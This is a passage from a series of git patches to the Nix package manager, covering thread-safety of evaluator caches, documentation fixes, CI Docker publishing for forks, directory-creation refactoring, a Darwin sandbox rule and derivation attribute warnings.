2001 From: Eelco Dolstra Date: Tue, 4 Jun 2024 16:05:56 +0200 Subject: [PATCH 0742/1251] Make EvalState::srcToStore thread-safe --- src/libexpr/eval.cc | 8 ++++---- src/libexpr/eval.hh | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 6a38bbe45..7dbb467e5 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -2415,10 +2415,10 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat if (nix::isDerivation(path.path.abs())) error("file names are not allowed to end in '%1%'", drvExtension).debugThrow(); - auto i = srcToStore.find(path); + auto dstPathCached = get(*srcToStore.lock(), path); - auto dstPath = i != srcToStore.end() - ? i->second + auto dstPath = dstPathCached + ? *dstPathCached : [&]() { auto dstPath = fetchToStore( *store, @@ -2429,7 +2429,7 @@ StorePath EvalState::copyPathToStore(NixStringContext & context, const SourcePat nullptr, repair); allowPath(dstPath); - srcToStore.insert_or_assign(path, dstPath); + srcToStore.lock()->try_emplace(path, dstPath); printMsg(lvlChatty, "copied source '%1%' -> '%2%'", path, store->printStorePath(dstPath)); return dstPath; }(); diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 06a687620..dac763268 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -306,7 +306,7 @@ private: /* Cache for calls to addToStore(); maps source paths to the store paths. */ - std::map srcToStore; + Sync> srcToStore; /** * A cache from path names to parse trees. From fbbca59453fcbc91ff63256b617523b5962b28f8 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 31 May 2024 19:18:38 +0200 Subject: [PATCH 0743/1251] Make RegexCache thread-safe --- src/libexpr/primops.cc | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 22d7f188f..9177b0a2f 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -4062,17 +4062,23 @@ static RegisterPrimOp primop_convertHash({ struct RegexCache { - // TODO use C++20 transparent comparison when available - std::unordered_map cache; - std::list keys; + struct State + { + // TODO use C++20 transparent comparison when available + std::unordered_map cache; + std::list keys; + }; + + Sync state_; std::regex get(std::string_view re) { - auto it = cache.find(re); - if (it != cache.end()) + auto state(state_.lock()); + auto it = state->cache.find(re); + if (it != state->cache.end()) return it->second; - keys.emplace_back(re); - return cache.emplace(keys.back(), std::regex(keys.back(), std::regex::extended)).first->second; + state->keys.emplace_back(re); + return state->cache.emplace(state->keys.back(), std::regex(state->keys.back(), std::regex::extended)).first->second; } }; From 49c6f349116918d052a01b3c13cecbeaeeae657c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Tue, 4 Jun 2024 21:55:05 +0200 Subject: [PATCH 0744/1251] docs: fixup description of builtins.importNative (#10810) There was an argument missing and the fact that the imported function is called. --- src/libexpr/eval-settings.hh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index f1fb539bd..d01de980f 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -19,18 +19,18 @@ struct EvalSettings : Config Enable built-in functions that allow executing native code. In particular, this adds: - - `builtins.importNative` *path* - - Load a dynamic shared object (DSO) at *path* which exposes a function pointer to a procedure that initialises a Nix language value, and return that value. - The procedure must have the following signature: + - `builtins.importNative` *path* *symbol* + + Opens dynamic shared object (DSO) at *path*, loads the function with the symbol name *symbol* from it and runs it. + The loaded function must have the following signature: ```cpp extern "C" typedef void (*ValueInitialiser) (EvalState & state, Value & v); - ``` - + ``` + The [Nix C++ API documentation](@docroot@/contributing/documentation.md#api-documentation) has more details on evaluator internals. - + - `builtins.exec` *arguments* - + Execute a program, where *arguments* are specified as a list of strings, and parse its output as a Nix expression. )"}; From 80ba7778e730eccc1afff5a8f53887001bd4ee78 Mon Sep 17 00:00:00 2001 From: Enno Richter Date: Wed, 5 Jun 2024 07:31:18 +0200 Subject: [PATCH 0745/1251] flake check: Recognize well known homeModule/homeModules attributes --- src/nix/flake.cc | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/nix/flake.cc b/src/nix/flake.cc index 755ead19f..fb7ea6211 100644 --- a/src/nix/flake.cc +++ b/src/nix/flake.cc @@ -771,6 +771,8 @@ struct CmdFlakeCheck : FlakeCommand || name == "flakeModules" || name == "herculesCI" || name == "homeConfigurations" + || name == "homeModule" + || name == "homeModules" || name == "nixopsConfigurations" ) // Known but unchecked community attribute From d2eeabf3e68f65493a8bfeb2ba762c37fcf60e15 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 5 Jun 2024 16:17:24 +0200 Subject: [PATCH 0746/1251] PackageInfo::queryDrvPath(): Don't dereference an empty optional Fixes a regression introduced in f923ed6b6a7318e8fc77e8d3aeda6796671f67cb. https://hydra.nixos.org/build/262267313 --- src/libexpr/get-drvs.cc | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc index ed16a51a1..0d2aecc58 100644 --- a/src/libexpr/get-drvs.cc +++ b/src/libexpr/get-drvs.cc @@ -82,8 +82,7 @@ std::optional PackageInfo::queryDrvPath() const } else drvPath = {std::nullopt}; } - drvPath.value_or(std::nullopt); - return *drvPath; + return drvPath.value_or(std::nullopt); } From 3e72ed9743a74f210e9dd493c914a2190345751f Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 5 Jun 2024 16:19:01 +0200 Subject: [PATCH 0747/1251] Typo --- src/libexpr/print.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 920490cfa..10fe7923f 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -278,7 +278,7 @@ private: storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation"); } - /* This unforutately breaks printing nested values because of + /* This unfortunately breaks printing nested values because of how the pretty printer is used (when pretting printing and warning to same terminal / std stream). */ #if 0 From 162d94d975328bce0b5f04f5555b760b2222cac4 Mon Sep 17 00:00:00 2001 From: Pierre Bourdon Date: Thu, 30 May 2024 00:22:25 +0200 Subject: [PATCH 0748/1251] tests/nixos: make the tarball-flakes test better reflect real use cases In most real world cases, the Link header is set on the redirect, not on the final file. This regressed in Lix earlier and while new unit tests were added to cover it, this integration test should probably have also caught it. Source: https://git.lix.systems/lix-project/lix/commit/a3256a93759206dc64e597e2ad790ce582e84cf3 --- tests/nixos/tarball-flakes.nix | 27 ++++++++++++++++----------- 1 file changed, 16 insertions(+), 11 deletions(-) diff --git a/tests/nixos/tarball-flakes.nix b/tests/nixos/tarball-flakes.nix index e30d15739..2e7f98b5e 100644 --- a/tests/nixos/tarball-flakes.nix +++ b/tests/nixos/tarball-flakes.nix @@ -5,7 +5,7 @@ let root = pkgs.runCommand "nixpkgs-flake" {} '' - mkdir -p $out/stable + mkdir -p $out/{stable,tags} set -x dir=nixpkgs-${nixpkgs.shortRev} @@ -14,9 +14,13 @@ let find $dir -print0 | xargs -0 touch -h -t ${builtins.substring 0 12 nixpkgs.lastModifiedDate}.${builtins.substring 12 2 nixpkgs.lastModifiedDate} -- tar cfz $out/stable/${nixpkgs.rev}.tar.gz $dir --hard-dereference - echo 'Redirect "/latest.tar.gz" "/stable/${nixpkgs.rev}.tar.gz"' > $out/.htaccess - - echo 'Header set Link "; rel=\"immutable\""' > $out/stable/.htaccess + # Set the "Link" header on the redirect but not the final response to + # simulate an S3-like serving environment where the final host cannot set + # arbitrary headers. + cat >$out/tags/.htaccess <; rel=\"immutable\"" + EOF ''; in @@ -59,7 +63,7 @@ in machine.wait_for_unit("httpd.service") - out = machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz") + out = machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz") print(out) info = json.loads(out) @@ -71,14 +75,15 @@ in assert info["revCount"] == 1234 # Check that fetching with rev/revCount/narHash succeeds. - machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?rev=" + info["revision"]) - machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?revCount=" + str(info["revCount"])) - machine.succeed("nix flake metadata --json http://localhost/latest.tar.gz?narHash=" + info["locked"]["narHash"]) + + machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=" + info["revision"]) + machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=" + str(info["revCount"])) + machine.succeed("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=" + info["locked"]["narHash"]) # Check that fetching fails if we provide incorrect attributes. - machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?rev=493300eb13ae6fb387fbd47bf54a85915acc31c0") - machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?revCount=789") - machine.fail("nix flake metadata --json http://localhost/latest.tar.gz?narHash=sha256-tbudgBSg+bHWHiHnlteNzN8TUvI80ygS9IULh4rklEw=") + machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?rev=493300eb13ae6fb387fbd47bf54a85915acc31c0") + machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?revCount=789") + machine.fail("nix flake metadata --json http://localhost/tags/latest.tar.gz?narHash=sha256-tbudgBSg+bHWHiHnlteNzN8TUvI80ygS9IULh4rklEw=") ''; } From e291087747146ab862edf0c6a88b12f355fb497c Mon Sep 17 00:00:00 2001 From: eldritch horrors Date: Thu, 4 Apr 2024 17:31:01 +0200 Subject: [PATCH 0749/1251] libutil: guard Finally against invalid exception throws throwing exceptions is fine, but throwing exceptions during exception handling is hard enough to do correctly that we should just forbid it entirely out of an overabundance of caution. in cases where terminate is the correct answer the users of Finally must call it manually now. Source: https://git.lix.systems/lix-project/lix/commit/6c777476c9e97abfc5232f0707985caf6df2baea --- src/libutil/finally.hh | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/src/libutil/finally.hh b/src/libutil/finally.hh index f9f0195a1..bda4227e6 100644 --- a/src/libutil/finally.hh +++ b/src/libutil/finally.hh @@ -2,6 +2,8 @@ ///@file #include +#include +#include /** * A trivial class to run a function at the end of a scope. @@ -21,5 +23,25 @@ public: Finally(Finally &&other) : fun(std::move(other.fun)) { other.movedFrom = true; } - ~Finally() { if (!movedFrom) fun(); } + ~Finally() noexcept(false) + { + try { + if (!movedFrom) + fun(); + } catch (...) { + // finally may only throw an exception if exception handling is not already + // in progress. if handling *is* in progress we have to return cleanly here + // but are still prohibited from doing so since eating the exception would, + // in almost all cases, mess up error handling even more. the only good way + // to handle this is to abort entirely and leave a message, so we'll assert + // (and rethrow anyway, just as a defense against possible NASSERT builds.) + if (std::uncaught_exceptions()) { + assert(false && + "Finally function threw an exception during exception handling. " + "this is not what you want, please use some other methods (like " + "std::promise or async) instead."); + } + throw; + } + } }; From 2f39caf1806a595eb5e24f89bb9c38681c138360 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Thu, 4 Jan 2024 15:05:46 +0100 Subject: [PATCH 0750/1251] Sync: Add support for shared locks --- src/libutil/sync.hh | 53 ++++++++++++++++++++++++++++++++++----------- 1 file changed, 40 insertions(+), 13 deletions(-) diff --git a/src/libutil/sync.hh b/src/libutil/sync.hh index 47e4512b1..20dd6ee52 100644 --- a/src/libutil/sync.hh +++ b/src/libutil/sync.hh @@ -3,6 +3,7 @@ #include #include +#include #include #include @@ -24,8 +25,8 @@ namespace nix { * Here, "data" is automatically unlocked when "data_" goes out of * scope. */ -template -class Sync +template +class SyncBase { private: M mutex; @@ -33,23 +34,22 @@ private: public: - Sync() { } - Sync(const T & data) : data(data) { } - Sync(T && data) noexcept : data(std::move(data)) { } + SyncBase() { } + SyncBase(const T & data) : data(data) { } + SyncBase(T && data) noexcept : data(std::move(data)) { } + template class Lock { - private: - Sync * s; - std::unique_lock lk; - friend Sync; - Lock(Sync * s) : s(s), lk(s->mutex) { } + protected: + SyncBase * s; + L lk; + friend SyncBase; + Lock(SyncBase * s) : s(s), lk(s->mutex) { } public: Lock(Lock && l) : s(l.s) { abort(); } Lock(const Lock & l) = delete; ~Lock() { } - T * operator -> () { return &s->data; } - T & operator * () { return s->data; } void wait(std::condition_variable & cv) { @@ -83,7 +83,34 @@ public: } }; - Lock lock() { return Lock(this); } + struct WriteLock : Lock + { + T * operator -> () { return &WriteLock::s->data; } + T & operator * () { return WriteLock::s->data; } + }; + + /** + * Acquire write (exclusive) access to the inner value. + */ + WriteLock lock() { return WriteLock(this); } + + struct ReadLock : Lock + { + const T * operator -> () { return &ReadLock::s->data; } + const T & operator * () { return ReadLock::s->data; } + }; + + /** + * Acquire read access to the inner value. When using + * `std::shared_mutex`, this will use a shared lock. + */ + ReadLock read() const { return ReadLock(const_cast(this)); } }; +template +using Sync = SyncBase, std::unique_lock>; + +template +using SharedSync = SyncBase, std::shared_lock>; + } From fd9e49480a40989c407c1de32b86ec35f7b37a87 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Wed, 5 Jun 2024 22:24:00 +0200 Subject: [PATCH 0751/1251] PosixSourceAccessor: Use SharedSync --- src/libutil/posix-source-accessor.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libutil/posix-source-accessor.cc b/src/libutil/posix-source-accessor.cc index bcf453cba..35047f89e 100644 --- a/src/libutil/posix-source-accessor.cc +++ b/src/libutil/posix-source-accessor.cc @@ -90,14 +90,14 @@ bool PosixSourceAccessor::pathExists(const CanonPath & path) std::optional PosixSourceAccessor::cachedLstat(const CanonPath & path) { - static Sync>> _cache; + static SharedSync>> _cache; // Note: we convert std::filesystem::path to Path because the // former is not hashable on libc++. Path absPath = makeAbsPath(path).string(); { - auto cache(_cache.lock()); + auto cache(_cache.read()); auto i = cache->find(absPath); if (i != cache->end()) return i->second; } From 7e6a7c925858c3720dec1864ed26e62718a36652 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Thu, 6 Jun 2024 10:32:38 +0200 Subject: [PATCH 0752/1251] make it possible to push to different docker registries in forks --- .github/workflows/ci.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 4612b4ef5..93c68b96c 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -127,8 +127,8 @@ jobs: authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' - run: nix --experimental-features 'nix-command flakes' build .#dockerImage -L - run: docker load -i ./result/image.tar.gz - - run: docker tag nix:$NIX_VERSION nixos/nix:$NIX_VERSION - - run: docker tag nix:$NIX_VERSION nixos/nix:master + - run: docker tag nix:$NIX_VERSION ${{ secrets.DOCKERHUB_USERNAME }}/nix:$NIX_VERSION + - run: docker tag nix:$NIX_VERSION ${{ secrets.DOCKERHUB_USERNAME }}/nix:master # We'll deploy the newly built image to both Docker Hub and Github Container Registry. # # Push to Docker Hub first @@ -137,8 +137,8 @@ jobs: with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - - run: docker push nixos/nix:$NIX_VERSION - - run: docker push nixos/nix:master + - run: docker push ${{ secrets.DOCKERHUB_USERNAME }}/nix:$NIX_VERSION + - run: docker push ${{ secrets.DOCKERHUB_USERNAME }}/nix:master # Push to GitHub Container Registry as well - name: Login to GitHub Container Registry uses: docker/login-action@v3 From e505434332423a0d04331750e8ec1ffeb105b861 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Thu, 6 Jun 2024 08:50:05 +0200 Subject: [PATCH 0753/1251] document how to test github ci fully in your own fork --- .github/workflows/ci.yml | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 93c68b96c..1aa3b776e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -33,6 +33,15 @@ jobs: authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' - run: nix --experimental-features 'nix-command flakes' flake check -L + # Steps to test CI automation in your own fork. + # Cachix: + # 1. Sign-up for https://www.cachix.org/ + # 2. Create a cache for $githubuser-nix-install-tests + # 3. Create a cachix auth token and save it in https://github.com/$githubuser/nix/settings/secrets/actions in "Repository secrets" as CACHIX_AUTH_TOKEN + # Dockerhub: + # 1. Sign-up for https://hub.docker.com/ + # 2. Store your dockerhub username as DOCKERHUB_USERNAME in "Repository secrets" of your fork repository settings (https://github.com/$githubuser/nix/settings/secrets/actions) + # 3. Create an access token in https://hub.docker.com/settings/security and store it as DOCKERHUB_TOKEN in "Repository secrets" of your fork check_secrets: permissions: contents: none From 25b0242ca6aee3484111739e95b6788ea56d1a64 Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Sun, 9 Jun 2024 19:49:39 +0530 Subject: [PATCH 0754/1251] `std::filesystem::create_directories` for createDirs The implementation of `nix::createDirs` allows it to be a simple wrapper around `std::filesystem::create_directories` as its return value is not used anywhere. --- src/libcmd/repl-interacter.cc | 4 ++-- src/libutil/file-system.cc | 25 ++----------------------- src/libutil/file-system.hh | 7 +++---- 3 files changed, 7 insertions(+), 29 deletions(-) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index eb4361e25..254a86d7b 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -107,8 +107,8 @@ ReadlineLikeInteracter::Guard ReadlineLikeInteracter::init(detail::ReplCompleter rl_readline_name = "nix-repl"; try { createDirs(dirOf(historyFile)); - } catch (SystemError & e) { - logWarning(e.info()); + } catch (std::filesystem::filesystem_error & e) { + warn(e.what()); } #ifndef USE_READLINE el_hist_size = 1000; diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 919bf5d50..cd5db31bb 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -413,30 +413,9 @@ void deletePath(const fs::path & path) } -Paths createDirs(const Path & path) +void createDirs(const Path & path) { - Paths created; - if (path == "/") return created; - - struct stat st; - if (STAT(path.c_str(), &st) == -1) { - created = createDirs(dirOf(path)); - if (mkdir(path.c_str() -#ifndef _WIN32 // TODO abstract mkdir perms for Windows - , 0777 -#endif - ) == -1 && errno != EEXIST) - throw SysError("creating directory '%1%'", path); - st = STAT(path); - created.push_back(path); - } - - if (S_ISLNK(st.st_mode) && stat(path.c_str(), &st) == -1) - throw SysError("statting symlink '%1%'", path); - - if (!S_ISDIR(st.st_mode)) throw Error("'%1%' is not a directory", path); - - return created; + fs::create_directories(path); } diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh index c6b6ecedb..9405cda0c 100644 --- a/src/libutil/file-system.hh +++ b/src/libutil/file-system.hh @@ -148,11 +148,10 @@ void deletePath(const std::filesystem::path & path); void deletePath(const std::filesystem::path & path, uint64_t & bytesFreed); /** - * Create a directory and all its parents, if necessary. Returns the - * list of created directories, in order of creation. + * Create a directory and all its parents, if necessary. */ -Paths createDirs(const Path & path); -inline Paths createDirs(PathView path) +void createDirs(const Path & path); +inline void createDirs(PathView path) { return createDirs(Path(path)); } From 372d5a441e1a6fe61740609ac622f53dc77229a3 Mon Sep 17 00:00:00 2001 From: Kirill Radzikhovskyy Date: Mon, 10 Jun 2024 11:17:41 +1000 Subject: [PATCH 0755/1251] darwin: allow ipc-sysv* in sandbox --- src/libstore/unix/build/sandbox-defaults.sb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/libstore/unix/build/sandbox-defaults.sb b/src/libstore/unix/build/sandbox-defaults.sb index 2ad5fb616..6da01b735 100644 --- a/src/libstore/unix/build/sandbox-defaults.sb +++ b/src/libstore/unix/build/sandbox-defaults.sb @@ -17,6 +17,9 @@ R""( ; Allow POSIX semaphores and shared memory. (allow ipc-posix*) +; Allow SYSV semaphores and shared memory. +(allow ipc-sysv*) + ; Allow socket creation. (allow system-socket) From 7a21432e7774617731556d844d05686a8b3ff46d Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Mon, 10 Jun 2024 11:30:39 +0530 Subject: [PATCH 0756/1251] fix: catch `filesystem_error` thrown by `createDirs` --- src/libstore/store-api.cc | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libstore/store-api.cc b/src/libstore/store-api.cc index c67ccd7d4..ed5275377 100644 --- a/src/libstore/store-api.cc +++ b/src/libstore/store-api.cc @@ -19,6 +19,7 @@ #include "signals.hh" #include "users.hh" +#include #include using json = nlohmann::json; @@ -1303,7 +1304,7 @@ ref openStore(StoreReference && storeURI) if (!pathExists(chrootStore)) { try { createDirs(chrootStore); - } catch (Error & e) { + } catch (std::filesystem::filesystem_error & e) { return std::make_shared(params); } warn("'%s' does not exist, so Nix will use '%s' as a chroot store", stateDir, chrootStore); From 4755e133c410aa2611c23c3f8e106b4194da0c5e Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 10 Jun 2024 12:37:17 +0200 Subject: [PATCH 0757/1251] Fix warning --- src/libexpr/eval-cache.hh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval-cache.hh b/src/libexpr/eval-cache.hh index cac985829..b1911e3a4 100644 --- a/src/libexpr/eval-cache.hh +++ b/src/libexpr/eval-cache.hh @@ -31,7 +31,7 @@ struct CachedEvalError : EvalError class EvalCache : public std::enable_shared_from_this { friend class AttrCursor; - friend class CachedEvalError; + friend struct CachedEvalError; std::shared_ptr db; EvalState & state; @@ -87,7 +87,7 @@ typedef std::variant< class AttrCursor : public std::enable_shared_from_this { friend class EvalCache; - friend class CachedEvalError; + friend struct CachedEvalError; ref root; typedef std::optional, Symbol>> Parent; From 0a09597790348a3e0420020b0bab68517669ecf6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 10 Jun 2024 12:37:24 +0200 Subject: [PATCH 0758/1251] Typo --- src/libexpr/eval.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 3524c8b1e..9e6b89544 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -365,7 +365,7 @@ void initGC() }; } #else - #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bwd-gc to 8.4 or later." + #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.4 or later." #endif From f91f34aa653781ef46c4f6008269785f6198a3d4 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 10 Jun 2024 12:37:44 +0200 Subject: [PATCH 0759/1251] bdwgc 8.2.4 has sp_corrector > Support client-defined stack pointer adjustment before thread stack push -- https://github.com/ivmai/bdwgc/releases/tag/v8.2.4 This fixes an inaccuracy in cc6f31525253b73e4776b5f733e0950e1706d546, in the update to Nixpkgs 24.05 https://github.com/NixOS/nix/pull/10835 After this fixup, the build log won't ask for an upgrade, and we'll be able to collect when a coroutine exists, e.g. during filterSource. --- src/libexpr/eval.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 9e6b89544..f441977a5 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -354,7 +354,7 @@ void initGC() // TODO: Remove __APPLE__ condition. // Comment suggests an implementation that works on darwin and windows // https://github.com/ivmai/bdwgc/issues/362#issuecomment-1936672196 - #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 4 && !defined(__APPLE__) + #if GC_VERSION_MAJOR >= 8 && GC_VERSION_MINOR >= 2 && GC_VERSION_MICRO >= 4 && !defined(__APPLE__) GC_set_sp_corrector(&fixupBoehmStackPointer); if (!GC_get_sp_corrector()) { @@ -365,7 +365,7 @@ void initGC() }; } #else - #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.4 or later." + #warning "BoehmGC version does not support GC while coroutine exists. GC will be disabled inside coroutines. Consider updating bdw-gc to 8.2.4 or later." #endif From 1363f51bcb24ab9948b7b5093490a009947f7453 Mon Sep 17 00:00:00 2001 From: Tom Bereknyei Date: Mon, 10 Jun 2024 08:32:30 -0400 Subject: [PATCH 0760/1251] fix: remove usage of XDG_RUNTIME_DIR for TMP --- src/nix-build/nix-build.cc | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/src/nix-build/nix-build.cc b/src/nix-build/nix-build.cc index b601604dc..77df08edd 100644 --- a/src/nix-build/nix-build.cc +++ b/src/nix-build/nix-build.cc @@ -477,9 +477,7 @@ static void main_nix_build(int argc, char * * argv) // Set the environment. auto env = getEnv(); - auto tmp = getEnvNonEmpty("TMPDIR"); - if (!tmp) - tmp = getEnvNonEmpty("XDG_RUNTIME_DIR").value_or("/tmp"); + auto tmp = getEnvNonEmpty("TMPDIR").value_or("/tmp"); if (pure) { decltype(env) newEnv; @@ -491,7 +489,7 @@ static void main_nix_build(int argc, char * * argv) env["__ETC_PROFILE_SOURCED"] = "1"; } - env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = *tmp; + env["NIX_BUILD_TOP"] = env["TMPDIR"] = env["TEMPDIR"] = env["TMP"] = env["TEMP"] = tmp; env["NIX_STORE"] = store->storeDir; env["NIX_BUILD_CORES"] = std::to_string(settings.buildCores); From 4809e59b7ee0681d420f83a285d52e9424f2fad8 Mon Sep 17 00:00:00 2001 From: Tom Bereknyei Date: Mon, 10 Jun 2024 09:31:21 -0400 Subject: [PATCH 0761/1251] fix: warn and document when advanced attributes will have no impact due to __structuredAttrs --- doc/manual/src/language/advanced-attributes.md | 6 ++++++ src/libexpr/eval.cc | 6 ++++++ src/libexpr/eval.hh | 5 ++++- src/libexpr/primops.cc | 14 ++++++++++++++ .../unix/build/local-derivation-goal.cc | 18 ++++++++++++++++++ 5 files changed, 48 insertions(+), 1 deletion(-) diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md index 113062db1..64a28a366 100644 --- a/doc/manual/src/language/advanced-attributes.md +++ b/doc/manual/src/language/advanced-attributes.md @@ -301,6 +301,12 @@ Derivations can declare some infrequently used optional attributes. (associative) arrays. For example, the attribute `hardening.format = true` ends up as the Bash associative array element `${hardening[format]}`. + > **Warning** + > + > If set to `true`, other advanced attributes such as [`allowedReferences`](#adv-attr-allowedReferences), [`allowedReferences`](#adv-attr-allowedReferences), [`allowedRequisites`](#adv-attr-allowedRequisites), + [`disallowedReferences`](#adv-attr-disallowedReferences) and [`disallowedRequisites`](#adv-attr-disallowedRequisites), maxSize, and maxClosureSize. + will have no effect. + - [`outputChecks`]{#adv-attr-outputChecks}\ When using [structured attributes](#adv-attr-structuredAttrs), the `outputChecks` attribute allows defining checks per-output. diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index f441977a5..5a94c67ec 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -423,6 +423,12 @@ EvalState::EvalState( , sRight(symbols.create("right")) , sWrong(symbols.create("wrong")) , sStructuredAttrs(symbols.create("__structuredAttrs")) + , sAllowedReferences(symbols.create("allowedReferences")) + , sAllowedRequisites(symbols.create("allowedRequisites")) + , sDisallowedReferences(symbols.create("disallowedReferences")) + , sDisallowedRequisites(symbols.create("disallowedRequisites")) + , sMaxSize(symbols.create("maxSize")) + , sMaxClosureSize(symbols.create("maxClosureSize")) , sBuilder(symbols.create("builder")) , sArgs(symbols.create("args")) , sContentAddressed(symbols.create("__contentAddressed")) diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index dac763268..f916873f1 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -173,7 +173,10 @@ public: const Symbol sWith, sOutPath, sDrvPath, sType, sMeta, sName, sValue, sSystem, sOverrides, sOutputs, sOutputName, sIgnoreNulls, sFile, sLine, sColumn, sFunctor, sToString, - sRight, sWrong, sStructuredAttrs, sBuilder, sArgs, + sRight, sWrong, sStructuredAttrs, + sAllowedReferences, sAllowedRequisites, sDisallowedReferences, sDisallowedRequisites, + sMaxSize, sMaxClosureSize, + sBuilder, sArgs, sContentAddressed, sImpure, sOutputHash, sOutputHashAlgo, sOutputHashMode, sRecurseForDerivations, diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 9177b0a2f..98649f081 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1308,6 +1308,20 @@ static void derivationStrictInternal( handleOutputs(ss); } + if (i->name == state.sAllowedReferences) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks..allowedReferences' instead", drvName); + if (i->name == state.sAllowedRequisites) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks..allowedRequisites' instead", drvName); + if (i->name == state.sDisallowedReferences) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks..disallowedReferences' instead", drvName); + if (i->name == state.sDisallowedRequisites) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks..disallowedRequisites' instead", drvName); + if (i->name == state.sMaxSize) + warn("In a derivation named '%s', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks..maxSize' instead", drvName); + if (i->name == 